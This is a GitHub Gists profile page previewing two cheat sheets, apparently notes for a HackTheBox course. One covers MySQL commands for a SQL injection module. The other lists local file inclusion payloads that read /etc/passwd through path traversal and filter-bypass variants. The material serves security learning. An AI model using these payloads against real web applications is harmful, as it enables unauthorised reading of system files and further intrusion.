Skip to content

Instantly share code, notes, and snippets.

View santosadrian's full-sized avatar
💭
Buscándome la vida que la muerte viene sola.

Adrian Santos santosadrian

💭
Buscándome la vida que la muerte viene sola.
View GitHub Profile
@santosadrian
santosadrian / SQL-Injection-Fundamentals.md
Created August 1, 2023 12:43
SQL Injection Fundamentals

MySQL

Command Description
General
mysql -u root -h docker.hackthebox.eu -P 3306 -p login to mysql database
SHOW DATABASES List available databases
USE users Switch to database
Tables
CREATE TABLE logins (id INT, ...) Add a new table
@santosadrian
santosadrian / file-inclusion.md
Last active August 1, 2023 15:45
File Inclusion

Local File Inclusion

Command Description
 Basic LFI
 /index.php?language=/etc/passwd Basic LFI
 /index.php?language=../../../../etc/passwd LFI with path traversal
 /index.php?language=/../../../etc/passwd LFI with name prefix
 /index.php?language=./languages/../../../../etc/passwd LFI with approved path
 LFI Bypasses